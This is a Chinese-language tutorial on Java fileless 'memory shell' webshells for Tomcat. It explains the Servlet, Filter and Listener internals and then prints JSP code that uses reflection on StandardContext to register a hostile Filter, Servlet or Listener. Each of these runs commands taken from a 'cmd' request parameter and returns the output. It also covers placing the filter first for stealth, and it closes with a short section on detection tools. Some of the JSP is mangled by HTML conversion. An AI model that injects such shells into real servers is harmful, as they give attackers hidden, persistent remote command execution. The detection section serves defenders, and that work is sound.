内存马简介

什么是内存马

随着每年攻防对抗强度的增加，普通的webshell在各大厂商的安全设备下，根本难以存活，想要落地一个实体webshell的难度逐渐增大。逐步完善的过滤机制、前后端分离的趋势，使得传统的webshell生存空间越来越小。于是，随着时代的发展，内存马出现了。

内存马就是一种无需落地文件就能使用的webshell，它将恶意代码写入内存，拦截固定参数来达到webshell的效果。

如何实现内存马

实现目标：访问任意url或者指定url，带上命令执行参数，即可让服务器返回命令执行结果

实现方法：以java为例，客户端发起的web请求会依次经过Listener-->Filter-->Servlet三个组件，我们只要在这个请求的过程中做手脚，在内存中修改已有的组件或者动态注册一个新的组件，插入恶意的shellcode，就可以达到我们的目的。

内存马类型

根据注入的方式，大概分类以下两类：

• servlet-api型
  • 通过命令执行等方式动态注册一个新的listener、filter或者servlet，从而实现命令执行等功能。特定框架、容器的内存马原理与此类似，如spring的controller内存马，tomcat的valve内存马
• 字节码增强型
  • 通过java的instrumentation动态修改已有代码，进而实现命令执行等功能。

背景知识

Java web三大件

详情的可以自己去研究，搜索关键词maven tomcat servlet 开发，这里大概描述一下

Servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序，它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求，并根据请求生成相应的返回信息提供给用户。

请求的处理过程

1. 浏览器向 Web 服务器发送了一个 HTTP 请求，Servlet容器根据收到的请求，会先创建一个 HttpServletRequest 和 HttpServletResponse 对象

2. 调用相应的 Servlet 程序，在 Servlet 程序运行时，它首先会从 HttpServletRequest 对象中读取数据信息，然后通过 service() 方法处理请求消息

3. service()方法根据请求类型，分别调用doGet或者doPost方法，其中doXXX方法是我们自己写的逻辑Controller
4. 将处理后的响应数据写入到 HttpServletResponse 对象中。
5. Web 服务器会从 HttpServletResponse 对象中读取到响应数据，并发送给浏览器
6. 容器关闭时候，会调用destory方法

需要注意的是，在Web服务器运行阶段，每个Servlet都只会创建一个实例对象，针对每次HTTP请求，Web服务器都会调用所请求Servlet实例的 service（HttpServletRequest request，HttpServletResponse response）方法，并重新创建一个 request 对象和一个 response 对象。

servlet生命周期

1. 服务器启动时(web.xml中配置load-on-startup=1，默认为0)或者第一次请求该servlet时，就会初始化一个Servlet对象，也就是会执行初始化方法init(ServletConfig conf)。
2. servlet对象去处理所有客户端请求，在service(ServletRequest req，ServletResponse res)方法中执行
3. 服务器关闭时，销毁这个servlet对象，执行destroy()方法。
4. 由JVM进行垃圾回收。

代码示例

Filter

filter也称之为过滤器，是对Servlet技术的一个强补充，其主要功能是在HttpServletRequest到达 Servlet 之前，拦截客户的HttpServletRequest ，根据需要检查HttpServletRequest，也可以修改HttpServletRequest 头和数据；在HttpServletResponse到达客户端之前，拦截HttpServletResponse ，根据需要检查HttpServletResponse，也可以修改HttpServletResponse头和数据。

简单来说就是在Servlet处理请求前和Servlet响应请求后实现一些特殊的功能

基本工作原理

1、Filter 程序是一个实现了特殊接口的 Java 类，与 Servlet 类似，也是由 Servlet 容器进行调用和执行的。

2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时，它可以决定是否将请求继续传递给 Servlet 程序，以及对请求和响应消息是否进行修改。

3、当 Servlet 容器开始调用某个 Servlet 程序时，如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截，那么容器不再直接调用 Servlet 的 service 方法，而是调用 Filter 的 doFilter 方法，再由 doFilter 方法决定是否去激活 service 方法。

4、但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法，而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法，FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。

5、只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码，这样就可以在 Servlet 进行响应前后实现某些特殊功能。

6、如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法，则目标 Servlet 的 service 方法不会被执行，这样通过 Filter 就可以阻止某些非法的访问请求。

filter的生命周期

1. 当服务器启动，就会创建Filter对象（随着Tomcat的启动而创建），并调用init()方法，只调用一次
2. 当访问资源时，路径与filter拦截路径匹配，会执行Filter中的doFilter方法，这个方法是真正拦截操作的方法。
3. 当服务器关闭时，会调用Filter中的destroy方法来进行销毁操作。

filter链

当多个filter同时存在的时候，组成了filter链。

web服务器根据Filter在web.xml文件中的注册顺序，决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时，web服务器会创建一个代表Filter链的FilterChain对象传递给该方法，通过判断FilterChain中是否还有filter决定后面是否还调用filter。

代码示例

Listener

程序开发中，经常需要对某些事件进行监听，比如监听客户端的请求、服务端的操作等。通过监听器，可以自动出发一些动作，比如监听在线的用户数量，统计网站访问量、网站访问监控等。

事件：用户的一个操作，如点击按钮

事件源：产生事件的对象。

监听器：负责监听发生在事件源上的事件。

注册监听：将事件，事件源，监听器绑定在一起。当事件源上发生某个事件后，执行监听器代码。

代码示例

import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionAttributeListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
import javax.servlet.http.HttpSessionBindingEvent;

@WebListener()
public class HelloListener implements ServletContextListener,
        HttpSessionListener, HttpSessionAttributeListener {

    // Public constructor is required by servlet spec
    public HelloListener() {
    }

    // -------------------------------------------------------
    // ServletContextListener implementation
    // -------------------------------------------------------
    public void contextInitialized(ServletContextEvent sce) {   // 初始化资源，例如打开数据库连接池等:
      /* This method is called when the servlet context is
         initialized(when the Web application is deployed). 
         You can initialize servlet context related data here.
      */
    }

    public void contextDestroyed(ServletContextEvent sce) { // 清理WebApp,例如关闭数据库连接池等
      /* This method is invoked when the Servlet Context 
         (the Web application) is undeployed or 
         Application Server shuts down.
      */
    }

    // -------------------------------------------------------
    // HttpSessionListener implementation
    // -------------------------------------------------------
    public void sessionCreated(HttpSessionEvent se) {
        /* Session is created. */
    }

    public void sessionDestroyed(HttpSessionEvent se) {
        /* Session is destroyed. */
    }

    // -------------------------------------------------------
    // HttpSessionAttributeListener implementation
    // -------------------------------------------------------

    public void attributeAdded(HttpSessionBindingEvent sbe) {
      /* This method is called when an attribute 
         is added to a session.
      */
    }

    public void attributeRemoved(HttpSessionBindingEvent sbe) {
      /* This method is called when an attribute
         is removed from a session.
      */
    }

    public void attributeReplaced(HttpSessionBindingEvent sbe) {
      /* This method is invoked when an attribute
         is replaced in a session.
      */
    }
}

Tomcat

简单理解，tomcat是http服务器+servlet容器。

Tomcat 作为Servlet容器,将http请求文本接收并解析，然后封装成HttpServletRequest类型的request对象，传递给servlet；同时会将响应的信息封装为HttpServletResponse类型的response对象，然后将response交给tomcat，tomcat就会将其变成响应文本的格式发送给浏览器。

Tomcat架构设计

Tomcat 的本质其实就是一个 WEB 服务器 + 一个 Servlet 容器，那么它必然需要处理网络的连接与 Servlet 的管理，因此，Tomcat 设计了两个核心组件来实现这两个功能，分别是连接器和容器，连接器用来处理外部网络连接，容器用来处理内部 Servlet

一个 Tomcat 代表一个 Server 服务器，一个 Server 服务器可以包含多个 Service 服务，Tomcat 默认的 Service 服务是 Catalina，而一个 Service 服务可以包含多个连接器，因为 Tomcat 支持多种网络协议，包括 HTTP/1.1、HTTP/2、AJP 等等，一个 Service 服务还会包括一个容器，容器外部会有一层 Engine 引擎所包裹，负责与处理连接器的请求与响应，连接器与容器之间通过 ServletRequest 和 ServletResponse 对象进行交流。

在Container容器中包含4个子容器，且存在包含关系，分别是：

一个engine可以对一个多个host，也就是虚拟主机，一个host可以对应多个context，也就是web应用，一个context对应多个wrapper，也就是servlet。这个映射关系，通过mapper组件来关联，mapper组件保存了Web应用的配置信息，容器组件与访问路径的映射关系。Host容器的域名，Context容器中的web路径，Wrapper容器中的servlet映射的路径，这些配置信息是多层次的Map。根据请求定位到指定servlet的流程图如下：

其他知识

反射

反射提供的功能，能在运行时（动态）的

1. 获取一个类的所有成员变量和方法

2. 创建一个类的对象

   a. 获取对象成员变量&赋值

   b. 调用对象的方法

   c. 判断对象所属的类

在注入内存马的过程当中，我们可能需要用到反射机制，例如注入一个servlet型的内存马，我们需要使用反射机制来获取当前的context，然后将恶意的servlet（wrapper）添加到当前的context的children中。

在使用Java反射机制时，主要步骤包括：

1. 获取目标类型的Class对象
2. 通过Class对象分别获取Constructor类对象、Method类对象和Field类对象
3. 通过Constructor类对象、Method类对象和Field类对象分别获取类的构造函数、方法&属性的具体信息，并进行后续操作

java instrumentation

• Java Intrumentation 和相关应用

动态 Instrumentation 是 Java SE 5 的新特性，它在 java.lang.instrument 包中，它把 Java 的 instrument 功能从本地代码中释放出来，使其可以用 Java 代码的方式解决问题。使用 Instrumentation，开发者可以构建一个独立于应用程序的代理程序（Agent），用来监测和协助运行在 JVM 上的程序，甚至可以替换和修改某些类的定义。有了这样的功能，开发者就可以实现更为灵活的虚拟机监控和 Java的类操作了，这样的特性实际上提供了一种虚拟机级别支持的 AOP方式，使得开发者无需对原有应用做任何修改，就可以实现类的动态修改和增强

java.lang.instrument 包被赋予了更强大的功能：启动后的 监测、本地代码（native code）监测，以及动态改变 classpath 等等。这些改变，意味着 Java 具有了更强的动态控制与解释能力，它使得 Java 语言变得更加灵活多变。

Java agent是一种特殊的Java程序（Jar文件），它是Instrumentation的客户端。与普通Java程序通过main方法启动不同，agent并不是一个可以单独启动的程序，而必须依附在一个Java应用程序（JVM）上，与它运行在同一个进程中，通过Instrumentation API与虚拟机交互。 在注入内存马的过程中，我们可以利用java instrumentation机制，动态的修改已加载到内存中的类里的方法，进而注入恶意的代码。

servlet-api内存马编写

所有内存马编写时，都可以自己写一个对应的东西，比如filter、servlet，然后去跟一下Tomcat本身是如何去添加这些东西的，最后模拟一下这个过程动态添加就行了

Filter内存马

Filter 内存马是通过动态注册以一个恶意Filter，由于是动态注册的，所以这个filter没有文件实体，存在内存中，当tomcat重启就消失了

一般我们把这个Filter放在所有的filter最前面优先执行，也就是filter链的第一个，这样我们的请求就不会受到其他filter的干扰

需要动态注册filter就需要添加filter相关的库、函数等

ServletContext

需要动态注册filter就需要几个添加filter相关的函数，ServletContext恰好可以满足这个条件

javax.servlet.servletContext中存在addFilter，addServlet，addListener方法，即添加Filter，Servlet，Listener

获取ServletContext的方法：this.getServletContext();、this.getServletConfig().getServletContext();

ApplicationContext

在Tomcat中，org.apache.catalina.core.ApplicationContext中包含一个ServletContext接口的实现，所以需要引入org.apache.catalina.core.ApplicationContext这个库，用它获取上下文StandardContext

Filter相关变量

org.apache.catalina.core.ApplicationFilterConfig 在tomcat不同版本需要通过不同的库引入FilterMap和FilterDef

// tomcat 7
import org.apache.catalina.deploy.FilterMap;
import org.apache.catalina.deploy.FilterDef;

// tomcat 8/9
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.apache.tomcat.util.descriptor.web.FilterDef;

动态注入内存

需要调试的话，直接给想要调试的代码写到servlet里面就可以调试了，避免去尝试调试JSP

流程：

1. 创建一个恶意Filter

2. 利用FilterDef对Filter进行一个封装

3. 将FilterDef添加到FilterDefs和FilterConfig

4. 创建FilterMap ，将我们的Filter和urlpattern相对应，存放到filterMaps中（由于Filter生效会有一个先后顺序，所以我们一般都是放在最前面，让我们的Filter最先触发）

Tomcat中的对应的ServletContext实现是ApplicationContext，在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象，对ApplicationContext进行了封装，而ApplicationContext实例中又包含了StandardContext实例，以此来获取操作Tomcat容器内部的一些信息，例如Servlet的注册等。

当我们能直接获取 request 的时候，可以直接将 ServletContext 转为 StandardContext 从而获取 context。

<%@ page="" contenttype="text/html;charset=UTF-8" language="java" %="">
<%@ page="" import="org.apache.catalina.Context" %="">
<%@ page="" import="org.apache.catalina.core.ApplicationContext" %="">
<%@ page="" import="org.apache.catalina.core.ApplicationFilterConfig" %="">
<%@ page="" import="org.apache.catalina.core.StandardContext" %="">
<%@ page="" import="javax.servlet.*" %="">
<%@ page="" import="java.io.IOException" %="">
<%@ page="" import="java.lang.reflect.Constructor" %="">
<%@ page="" import="java.lang.reflect.Field" %="">
<%@ page="" import="java.util.Map" %="">

<%@ page="" import="org.apache.tomcat.util.descriptor.web.FilterDef" %="">
<%@ page="" import="org.apache.tomcat.util.descriptor.web.FilterMap" %="">

<% 创建一个恶意的filter，需要实现filter接口="" class="" filterdemo="" implements="" filter="" {="" @override="" public="" void="" init(filterconfig="" filterconfig)="" throws="" servletexception="" }="" dofilter(servletrequest="" servletrequest,="" servletresponse="" servletresponse,="" filterchain="" filterchain)="" ioexception,="" string="" cmd="servletRequest.getParameter("cmd");" if="" (cmd!="null)" process="" java.io.bufferedreader="" bufferedreader="new" java.io.bufferedreader(="" new="" java.io.inputstreamreader(process.getinputstream()));="" stringbuilder="" stringbuilder();="" line;="" while="" ((line="bufferedReader.readLine())" !="null)" stringbuilder.append(line="" +="" '\n');="" servletresponse.getoutputstream().write(stringbuilder.tostring().getbytes());="" servletresponse.getoutputstream().flush();="" servletresponse.getoutputstream().close();="" return;="" filterchain.dofilter(servletrequest,="" servletresponse);="" destroy()="" %="">


<% 从org.apache.catalina.core.applicationcontext反射获取context方法="" servletcontext="" field="" appctx="servletContext.getClass().getDeclaredField("context");" appctx.setaccessible(true);="" applicationcontext="" appctx.get(servletcontext);="" stdctx="applicationContext.getClass().getDeclaredField("context");" stdctx.setaccessible(true);="" standardcontext="" stdctx.get(applicationcontext);="" configs="standardContext.getClass().getDeclaredField("filterConfigs");" configs.setaccessible(true);="" filterconfigs="" 中存放的所有拦截器="" map="" configs.get(standardcontext);="" string="" name="filterDemo" ;="" 判断是否存在filterdemo1这个filter，如果没有则准备创建="" if="" (filterconfigs.get(name)="=" null){="" 定义一些基础属性、类名、filter名等="" filterdemo="" filter="new" filterdemo();="" filterdef="" filterdef();="" filterdef.setfiltername(name);="" filterdef.setfilterclass(filter.getclass().getname());="" filterdef.setfilter(filter);="" 添加filterdef="" standardcontext.addfilterdef(filterdef);="" 创建filtermap，设置filter和url的映射关系,可设置成单一url如="" xyz="" ,也可以所有页面都可触发可设置为="" *="" filtermap="" filtermap();="" filtermap.addurlpattern("="" *");="" 这里可根据实际情况添加拦截器拦截的路由="" xyz");="" filtermap.setfiltername(name);="" filtermap.setdispatcher(dispatchertype.request.name());="" 添加我们的filtermap到所有filter最前面="" standardcontext.addfiltermapbefore(filtermap);="" 反射创建filterconfig，传入standardcontext与filterdef="" constructor="" filterdef.class);="" constructor.setaccessible(true);="" applicationfilterconfig="" filterconfig="(ApplicationFilterConfig)" constructor.newinstance(standardcontext,="" filterdef);="" 将filter名和配置好的filterconifg传入="" filterconfigs.put(name,filterconfig);="" out.write("inject="" success!");="" }="" else{="" out.write("injected!");="" %="">

Servlet内存马

启动

常规情况下在启动时，会自动调用StandardContext.addServletMappingDecoded()方法给我们定义的路由和名字加进去，所有后面动态注入也是利用的这个方法，获取到StandardContext然后添加即可，前提是要给这个servlet先添加到children中

• servletMappings和前提判断条件

• findChild()

• addChild()

会给我们创建的servlet/wrapper添加到children中

动态注入内存

下面的代码先是创建了一个恶意的servlet，然后获取当前的StandardContext，然后将恶意servlet封装成wrapper添加到StandardContext的children当中，最后添加ServletMapping将访问的URL和wrapper进行绑定。

<%@ page="" import="java.io.IOException" %="">
<%@ page="" import="java.io.InputStream" %="">
<%@ page="" import="java.util.Scanner" %="">
<%@ page="" import="org.apache.catalina.core.StandardContext" %="">
<%@ page="" import="java.io.PrintWriter" %="">

<% 创建恶意servlet="" servlet="" servlet()="" {="" @override="" public="" void="" init(servletconfig="" servletconfig)="" throws="" servletexception="" }="" servletconfig="" getservletconfig()="" return="" null;="" service(servletrequest="" servletrequest,="" servletresponse="" servletresponse)="" servletexception,="" ioexception="" string="" cmd="servletRequest.getParameter("cmd");" boolean="" islinux="true;" ostyp="System.getProperty("os.name");" if="" (ostyp="" !="null" &&="" ostyp.tolowercase().contains("win"))="" string[]="" cmds="isLinux" ?="" new="" string[]{"sh",="" "-c",="" cmd}="" :="" string[]{"cmd.exe",="" "="" c",="" cmd};="" inputstream="" in="Runtime.getRuntime().exec(cmds).getInputStream();" scanner="" s="new" scanner(in).usedelimiter("\\a");="" output="s.hasNext()" s.next()="" "";="" printwriter="" out="servletResponse.getWriter();" out.write(output);="" out.flush();="" out.close();="" getservletinfo()="" destroy()="" };="" %="">
<% 获取standardcontext="" org.apache.catalina.loader.webappclassloaderbase="" webappclassloaderbase="(org.apache.catalina.loader.WebappClassLoaderBase)" thread.currentthread().getcontextclassloader();="" standardcontext="" standardctx="(StandardContext)webappClassLoaderBase.getResources().getContext();" 用wrapper对其进行封装="" org.apache.catalina.wrapper="" newwrapper="standardCtx.createWrapper();" newwrapper.setname("testsaaa");="" newwrapper.setloadonstartup(1);="" newwrapper.setservlet(servlet);="" newwrapper.setservletclass(servlet.getclass().getname());="" 添加封装后的恶意wrapper到standardcontext的children当中="" standardctx.addchild(newwrapper);="" 添加servletmapping将访问的url和servlet进行绑定="" 低版本此处可能为="" addservletmapping="" standardctx.addservletmappingdecoded("="" shell","testsaaa");="" %="">

执行上述代码后，访问当前应用的/shell路径，加上cmd参数就可以命令执行了。使用新增servlet的方式就需要绑定指定的URL。如果我们想要更加隐蔽，做到内存马与URL无关，无论这个url是原生servlet还是某个struts action，甚至无论这个url是否真的存在，只要我们的请求传递给tomcat，tomcat就能相应我们的指令，那就得通过注入新的或修改已有的filter或者listener的方式来实现了。

比如早期rebeyond师傅开发的memshell，就是通过修改org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法来实现的，后期冰蝎最新版本的内存马为了实现更好的兼容性，选择hook javax.servlet.http.HttpServlet#service 函数，在weblogic选择hook weblogic.servlet.internal.ServletStubImpl#execute 函数。

Listener内存马

Listener的监听主要分为三类：

• ServletContext监听：用于对Servlet整个上下文进行监听（创建、销毁）
• Session监听：对Session的整体状态的监听
• Request监听：用于对Request请求进行监听（创建、销毁）

对于这三类，熟悉java和Tomcat的同学应该知道，对于request的请求和篡改是常见的利用方式，另两者涉及到服务器的启动跟停止，或者是Session的建立跟销毁，就不太适合

ServletRequestListener接口

该接口实现的方法有requestDestroyed，requestInitialized，分别是在监听request请求结束，以及request请求开始，我们着重看请求开始的部分

在requestInitialized这个函数中，我们从servletRequestEvent参数中取cmd参数，在当前上下文只要在任意路由下监听到了cmd参数存在值，那么就执行命令，具体操作如下

public void requestInitialized(ServletRequestEvent servletRequestEvent) {
    String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
    if(cmd != null){
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {}
    }
}

这里是没有回显的，盲的

动态注入内存

<%@ page="" import="java.io.IOException" %="">
<%@ page="" import="org.apache.catalina.core.StandardContext" %="">

<% servletrequestlistener="" listener="new" servletrequestlistener()="" {="" @override="" public="" void="" requestinitialized(servletrequestevent="" sre)="" string="" cmd="sre.getServletRequest().getParameter("cmd");" if(cmd="" !="null){" try="" runtime.getruntime().exec(cmd);="" }="" catch="" (ioexception="" e)="" {}="" };="" %="">

<% 获取standardcontext="" org.apache.catalina.loader.webappclassloaderbase="" webappclassloaderbase="(org.apache.catalina.loader.WebappClassLoaderBase)" thread.currentthread().getcontextclassloader();="" standardcontext="" standardctx="(StandardContext)webappClassLoaderBase.getResources().getContext();" standardctx.addapplicationeventlistener(listener);="" %="">

servlet-api总结

以上三种根据Servlet的特性，动态注入，jsp文件只要落地，即可动态加载到内存中

内存马查杀

查杀感觉很多都是依赖于Java agent去查杀的。

arthas

Arthas 是Alibaba开源的Java诊断工具

• 地址：https://github.com/alibaba/arthas

• 使用文档 很详细，可以慢慢研究

下载arthas-boot.jar，然后用java -jar的方式启动：

curl -O https://arthas.aliyun.com/arthas-boot.jar
java -jar arthas-boot.jar

• 通过mbean命令，可以便捷的查看或监控 Mbean 的属性信息（可以查看异常Filter/Servlet节点）

• 使用jad反编译class源码(感觉是依赖于cfr-decompiler这个小工具)

copagent

Java内存马提取工具，arthas的改进版，可以确定风险等级，并且将内存中的信息全部输出

地址：https://github.com/LandGrey/copagent

下载cop.jar，然后启动

wget https://github.com/LandGrey/copagent/raw/release/cop.jar
java -jar cop.jar

查看输出结果

找到相关的class文件并反编译

java-memshell-scanner

通过jsp脚本扫描并查杀各类中间件内存马，比Java agent要温和一些。

地址：https://github.com/c0ny1/java-memshell-scanner

dump下来反编译

参考

• Tomcat内存马
• tomcat无文件内存webshell
• Tomcat Filter类型内存马与查杀技术学习：比较详细比较细，分析每一步为什么要这样做也很详细